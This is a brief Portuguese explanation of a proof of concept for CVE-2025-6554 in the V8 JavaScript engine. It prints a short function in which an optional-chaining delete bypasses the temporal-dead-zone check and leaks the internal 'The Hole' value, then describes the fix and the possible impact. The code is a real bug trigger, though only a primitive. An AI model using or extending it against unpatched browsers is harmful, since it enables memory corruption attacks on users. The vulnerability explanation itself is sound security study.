
Exploit de prova de conceito para CVE-2025-6554: confusão de tipo no motor JavaScript V8 através de bypass de TDZ no delete de encadeamento opcional, permitindo a fuga de The Hole para corrupção de memória.
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
Uma variável y foi acessada antes da declaração. Normalmente, isso deveria disparar um ReferenceError (TDZ), mas em versões antigas do V8, quando combinado com delete x?.[y], a verificação falhava e retornava o valor sentinela interno "The Hole".
O V8 verificava o TDZ apenas uma vez e, em seguida, assumia incorretamente que y era válido. Isso permitia que "The Hole" escapasse para o código do usuário.
O patch força uma nova verificação de TDZ (ThrowReferenceErrorIfHole) a cada acesso, garantindo que y antes da inicialização sempre lance exceção.
Impacto: Atacantes poderiam capturar "The Hole" e abusar dele para confusão de tipos, truques de pilha ou desvios de escopo.